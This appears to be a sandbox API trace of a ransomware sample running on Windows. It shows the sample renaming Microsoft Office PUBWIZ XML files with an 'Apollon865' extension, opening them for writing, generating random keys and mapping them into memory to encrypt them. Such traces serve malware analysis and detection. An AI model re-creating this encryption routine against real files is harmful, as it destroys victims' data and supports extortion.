	[0067.371] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.371] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="MARQUEE.POC" | out: lpString1="MARQUEE.POC") returned="MARQUEE.POC"
	[0067.371] lstrlenW (lpString="MARQUEE.POC") returned 11
	[0067.372] lstrlenW (lpString="Apollon865") returned 10
	[0067.372] lstrcmpiW (lpString1="ARQUEE.POC", lpString2="Apollon865") returned 1
	[0067.372] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="MENU.DPV" | out: lpString1="MENU.DPV") returned="MENU.DPV"
	[0067.372] lstrlenW (lpString="MENU.DPV") returned 8
	[0067.372] lstrlenW (lpString="Apollon865") returned 10
	[0067.372] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="MENU.XML" | out: lpString1="MENU.XML") returned="MENU.XML"
	[0067.372] lstrlenW (lpString="MENU.XML") returned 8
	[0067.372] lstrlenW (lpString="Apollon865") returned 10
	[0067.372] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML.Apollon865") returned 69
	[0067.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.374] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5002) returned 1
	[0067.374] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.375] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.375] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.375] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1690, lpName=0x0) returned 0x100
	[0067.377] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1690) returned 0x100000
	[0067.379] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.380] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.380] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.380] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="MENU98.POC" | out: lpString1="MENU98.POC") returned="MENU98.POC"
	[0067.380] lstrlenW (lpString="MENU98.POC") returned 10
	[0067.380] lstrlenW (lpString="Apollon865") returned 10
	[0067.380] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="MSTHED98.POC" | out: lpString1="MSTHED98.POC") returned="MSTHED98.POC"
	[0067.380] lstrlenW (lpString="MSTHED98.POC") returned 12
	[0067.380] lstrlenW (lpString="Apollon865") returned 10
	[0067.380] lstrcmpiW (lpString1="THED98.POC", lpString2="Apollon865") returned 1
	[0067.380] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NAVBAR11.POC" | out: lpString1="NAVBAR11.POC") returned="NAVBAR11.POC"
	[0067.380] lstrlenW (lpString="NAVBAR11.POC") returned 12
	[0067.381] lstrlenW (lpString="Apollon865") returned 10
	[0067.381] lstrcmpiW (lpString1="VBAR11.POC", lpString2="Apollon865") returned 1
	[0067.381] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NAVBARV.POC" | out: lpString1="NAVBARV.POC") returned="NAVBARV.POC"
	[0067.381] lstrlenW (lpString="NAVBARV.POC") returned 11
	[0067.381] lstrlenW (lpString="Apollon865") returned 10
	[0067.381] lstrcmpiW (lpString1="AVBARV.POC", lpString2="Apollon865") returned 1
	[0067.381] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NAVBRPH1.POC" | out: lpString1="NAVBRPH1.POC") returned="NAVBRPH1.POC"
	[0067.381] lstrlenW (lpString="NAVBRPH1.POC") returned 12
	[0067.381] lstrlenW (lpString="Apollon865") returned 10
	[0067.381] lstrcmpiW (lpString1="VBRPH1.POC", lpString2="Apollon865") returned 1
	[0067.382] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NAVBRPH2.POC" | out: lpString1="NAVBRPH2.POC") returned="NAVBRPH2.POC"
	[0067.382] lstrlenW (lpString="NAVBRPH2.POC") returned 12
	[0067.382] lstrlenW (lpString="Apollon865") returned 10
	[0067.382] lstrcmpiW (lpString1="VBRPH2.POC", lpString2="Apollon865") returned 1
	[0067.382] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NEWS.DPV" | out: lpString1="NEWS.DPV") returned="NEWS.DPV"
	[0067.382] lstrlenW (lpString="NEWS.DPV") returned 8
	[0067.382] lstrlenW (lpString="Apollon865") returned 10
	[0067.382] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NEWS.XML" | out: lpString1="NEWS.XML") returned="NEWS.XML"
	[0067.382] lstrlenW (lpString="NEWS.XML") returned 8
	[0067.382] lstrlenW (lpString="Apollon865") returned 10
	[0067.382] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML.Apollon865") returned 69
	[0067.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.384] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16992) returned 1
	[0067.384] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.385] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.385] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.385] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4560, lpName=0x0) returned 0x100
	[0067.386] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4560) returned 0x100000
	[0067.388] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.388] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.388] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.389] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NEWS11.POC" | out: lpString1="NEWS11.POC") returned="NEWS11.POC"
	[0067.389] lstrlenW (lpString="NEWS11.POC") returned 10
	[0067.389] lstrlenW (lpString="Apollon865") returned 10
	[0067.389] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NEWS98.POC" | out: lpString1="NEWS98.POC") returned="NEWS98.POC"
	[0067.389] lstrlenW (lpString="NEWS98.POC") returned 10
	[0067.389] lstrlenW (lpString="Apollon865") returned 10
	[0067.389] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="NEWSHM.POC" | out: lpString1="NEWSHM.POC") returned="NEWSHM.POC"
	[0067.389] lstrlenW (lpString="NEWSHM.POC") returned 10
	[0067.389] lstrlenW (lpString="Apollon865") returned 10
	[0067.389] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ORIG98.POC" | out: lpString1="ORIG98.POC") returned="ORIG98.POC"
	[0067.389] lstrlenW (lpString="ORIG98.POC") returned 10
	[0067.389] lstrlenW (lpString="Apollon865") returned 10
	[0067.390] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PICCAP98.POC" | out: lpString1="PICCAP98.POC") returned="PICCAP98.POC"
	[0067.390] lstrlenW (lpString="PICCAP98.POC") returned 12
	[0067.390] lstrlenW (lpString="Apollon865") returned 10
	[0067.390] lstrcmpiW (lpString1="CCAP98.POC", lpString2="Apollon865") returned 1
	[0067.390] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PICSTYLES.DPV" | out: lpString1="PICSTYLES.DPV") returned="PICSTYLES.DPV"
	[0067.390] lstrlenW (lpString="PICSTYLES.DPV") returned 13
	[0067.390] lstrlenW (lpString="Apollon865") returned 10
	[0067.390] lstrcmpiW (lpString1="STYLES.DPV", lpString2="Apollon865") returned 1
	[0067.390] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PICTPH.POC" | out: lpString1="PICTPH.POC") returned="PICTPH.POC"
	[0067.390] lstrlenW (lpString="PICTPH.POC") returned 10
	[0067.390] lstrlenW (lpString="Apollon865") returned 10
	[0067.390] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PNCTUATE.POC" | out: lpString1="PNCTUATE.POC") returned="PNCTUATE.POC"
	[0067.390] lstrlenW (lpString="PNCTUATE.POC") returned 12
	[0067.390] lstrlenW (lpString="Apollon865") returned 10
	[0067.390] lstrcmpiW (lpString1="CTUATE.POC", lpString2="Apollon865") returned 1
	[0067.390] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="POST98SP.POC" | out: lpString1="POST98SP.POC") returned="POST98SP.POC"
	[0067.390] lstrlenW (lpString="POST98SP.POC") returned 12
	[0067.390] lstrlenW (lpString="Apollon865") returned 10
	[0067.390] lstrcmpiW (lpString1="ST98SP.POC", lpString2="Apollon865") returned 1
	[0067.390] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="POSTCARD.DPV" | out: lpString1="POSTCARD.DPV") returned="POSTCARD.DPV"
	[0067.390] lstrlenW (lpString="POSTCARD.DPV") returned 12
	[0067.390] lstrlenW (lpString="Apollon865") returned 10
	[0067.390] lstrcmpiW (lpString1="STCARD.DPV", lpString2="Apollon865") returned 1
	[0067.391] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="POSTCARD.XML" | out: lpString1="POSTCARD.XML") returned="POSTCARD.XML"
	[0067.391] lstrlenW (lpString="POSTCARD.XML") returned 12
	[0067.391] lstrlenW (lpString="Apollon865") returned 10
	[0067.391] lstrcmpiW (lpString1="STCARD.XML", lpString2="Apollon865") returned 1
	[0067.391] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML.Apollon865") returned 73
	[0067.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.392] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=39576) returned 1
	[0067.392] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.393] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.393] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.394] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9da0, lpName=0x0) returned 0x100
	[0067.395] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9da0) returned 0x100000
	[0067.397] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.398] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.398] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.399] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="POSTCD11.POC" | out: lpString1="POSTCD11.POC") returned="POSTCD11.POC"
	[0067.399] lstrlenW (lpString="POSTCD11.POC") returned 12
	[0067.399] lstrlenW (lpString="Apollon865") returned 10
	[0067.399] lstrcmpiW (lpString1="STCD11.POC", lpString2="Apollon865") returned 1
	[0067.399] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="POSTCD98.POC" | out: lpString1="POSTCD98.POC") returned="POSTCD98.POC"
	[0067.399] lstrlenW (lpString="POSTCD98.POC") returned 12
	[0067.399] lstrlenW (lpString="Apollon865") returned 10
	[0067.399] lstrcmpiW (lpString1="STCD98.POC", lpString2="Apollon865") returned 1
	[0067.399] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PROG98.POC" | out: lpString1="PROG98.POC") returned="PROG98.POC"
	[0067.399] lstrlenW (lpString="PROG98.POC") returned 10
	[0067.399] lstrlenW (lpString="Apollon865") returned 10
	[0067.399] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PROGRAM.DPV" | out: lpString1="PROGRAM.DPV") returned="PROGRAM.DPV"
	[0067.399] lstrlenW (lpString="PROGRAM.DPV") returned 11
	[0067.399] lstrlenW (lpString="Apollon865") returned 10
	[0067.400] lstrcmpiW (lpString1="ROGRAM.DPV", lpString2="Apollon865") returned 1
	[0067.400] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PROGRAM.XML" | out: lpString1="PROGRAM.XML") returned="PROGRAM.XML"
	[0067.400] lstrlenW (lpString="PROGRAM.XML") returned 11
	[0067.400] lstrlenW (lpString="Apollon865") returned 10
	[0067.400] lstrcmpiW (lpString1="ROGRAM.XML", lpString2="Apollon865") returned 1
	[0067.400] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML.Apollon865") returned 72
	[0067.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.402] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=620) returned 1
	[0067.402] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.403] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.403] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.403] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x100
	[0067.404] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000
	[0067.405] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.406] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.406] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.406] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PS10TARG.POC" | out: lpString1="PS10TARG.POC") returned="PS10TARG.POC"
	[0067.406] lstrlenW (lpString="PS10TARG.POC") returned 12
	[0067.406] lstrlenW (lpString="Apollon865") returned 10
	[0067.406] lstrcmpiW (lpString1="10TARG.POC", lpString2="Apollon865") returned -1
	[0067.406] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PS2SWOOS.POC" | out: lpString1="PS2SWOOS.POC") returned="PS2SWOOS.POC"
	[0067.406] lstrlenW (lpString="PS2SWOOS.POC") returned 12
	[0067.406] lstrlenW (lpString="Apollon865") returned 10
	[0067.406] lstrcmpiW (lpString1="2SWOOS.POC", lpString2="Apollon865") returned -1
	[0067.406] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PS9CRNRH.POC" | out: lpString1="PS9CRNRH.POC") returned="PS9CRNRH.POC"
	[0067.407] lstrlenW (lpString="PS9CRNRH.POC") returned 12
	[0067.407] lstrlenW (lpString="Apollon865") returned 10
	[0067.407] lstrcmpiW (lpString1="9CRNRH.POC", lpString2="Apollon865") returned -1
	[0067.407] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PULLQUOTEBB.DPV" | out: lpString1="PULLQUOTEBB.DPV") returned="PULLQUOTEBB.DPV"
	[0067.407] lstrlenW (lpString="PULLQUOTEBB.DPV") returned 15
	[0067.407] lstrlenW (lpString="Apollon865") returned 10
	[0067.407] lstrcmpiW (lpString1="UOTEBB.DPV", lpString2="Apollon865") returned 1
	[0067.407] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PULLQUOTEBB.POC" | out: lpString1="PULLQUOTEBB.POC") returned="PULLQUOTEBB.POC"
	[0067.407] lstrlenW (lpString="PULLQUOTEBB.POC") returned 15
	[0067.407] lstrlenW (lpString="Apollon865") returned 10
	[0067.407] lstrcmpiW (lpString1="UOTEBB.POC", lpString2="Apollon865") returned 1
	[0067.407] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="PULQOT98.POC" | out: lpString1="PULQOT98.POC") returned="PULQOT98.POC"
	[0067.407] lstrlenW (lpString="PULQOT98.POC") returned 12
	[0067.407] lstrlenW (lpString="Apollon865") returned 10
	[0067.407] lstrcmpiW (lpString1="LQOT98.POC", lpString2="Apollon865") returned 1
	[0067.407] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="QP.DPV" | out: lpString1="QP.DPV") returned="QP.DPV"
	[0067.407] lstrlenW (lpString="QP.DPV") returned 6
	[0067.407] lstrlenW (lpString="Apollon865") returned 10
	[0067.407] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="QP.XML" | out: lpString1="QP.XML") returned="QP.XML"
	[0067.407] lstrlenW (lpString="QP.XML") returned 6
	[0067.407] lstrlenW (lpString="Apollon865") returned 10
	[0067.407] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML.Apollon865") returned 67
	[0067.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.409] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=13286) returned 1
	[0067.409] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.410] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.410] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.410] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36f0, lpName=0x0) returned 0x100
	[0067.411] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36f0) returned 0x100000
	[0067.412] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.413] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.413] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.414] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="QUIKPUBS.POC" | out: lpString1="QUIKPUBS.POC") returned="QUIKPUBS.POC"
	[0067.414] lstrlenW (lpString="QUIKPUBS.POC") returned 12
	[0067.414] lstrlenW (lpString="Apollon865") returned 10
	[0067.414] lstrcmpiW (lpString1="IKPUBS.POC", lpString2="Apollon865") returned 1
	[0067.414] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="REPTWIZ.POC" | out: lpString1="REPTWIZ.POC") returned="REPTWIZ.POC"
	[0067.414] lstrlenW (lpString="REPTWIZ.POC") returned 11
	[0067.414] lstrlenW (lpString="Apollon865") returned 10
	[0067.414] lstrcmpiW (lpString1="EPTWIZ.POC", lpString2="Apollon865") returned 1
	[0067.414] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="RES98.POC" | out: lpString1="RES98.POC") returned="RES98.POC"
	[0067.414] lstrlenW (lpString="RES98.POC") returned 9
	[0067.415] lstrlenW (lpString="Apollon865") returned 10
	[0067.415] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="RESP98.POC" | out: lpString1="RESP98.POC") returned="RESP98.POC"
	[0067.415] lstrlenW (lpString="RESP98.POC") returned 10
	[0067.415] lstrlenW (lpString="Apollon865") returned 10
	[0067.415] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="RESUME.DPV" | out: lpString1="RESUME.DPV") returned="RESUME.DPV"
	[0067.415] lstrlenW (lpString="RESUME.DPV") returned 10
	[0067.415] lstrlenW (lpString="Apollon865") returned 10
	[0067.415] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="RESUME.XML" | out: lpString1="RESUME.XML") returned="RESUME.XML"
	[0067.415] lstrlenW (lpString="RESUME.XML") returned 10
	[0067.415] lstrlenW (lpString="Apollon865") returned 10
	[0067.415] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML.Apollon865") returned 71
	[0067.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.417] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2138) returned 1
	[0067.417] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.417] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.417] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.421] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.421] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.421] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.422] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="RSPMECH.POC" | out: lpString1="RSPMECH.POC") returned="RSPMECH.POC"
	[0067.422] lstrlenW (lpString="RSPMECH.POC") returned 11
	[0067.422] lstrlenW (lpString="Apollon865") returned 10
	[0067.422] lstrcmpiW (lpString1="SPMECH.POC", lpString2="Apollon865") returned 1
	[0067.423] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIDBAR98.POC" | out: lpString1="SIDBAR98.POC") returned="SIDBAR98.POC"
	[0067.423] lstrlenW (lpString="SIDBAR98.POC") returned 12
	[0067.423] lstrlenW (lpString="Apollon865") returned 10
	[0067.423] lstrcmpiW (lpString1="DBAR98.POC", lpString2="Apollon865") returned 1
	[0067.423] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIDEBARBB.DPV" | out: lpString1="SIDEBARBB.DPV") returned="SIDEBARBB.DPV"
	[0067.423] lstrlenW (lpString="SIDEBARBB.DPV") returned 13
	[0067.423] lstrlenW (lpString="Apollon865") returned 10
	[0067.423] lstrcmpiW (lpString1="EBARBB.DPV", lpString2="Apollon865") returned 1
	[0067.423] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SIDEBARBB.POC" | out: lpString1="SIDEBARBB.POC") returned="SIDEBARBB.POC"
	[0067.423] lstrlenW (lpString="SIDEBARBB.POC") returned 13
	[0067.423] lstrlenW (lpString="Apollon865") returned 10
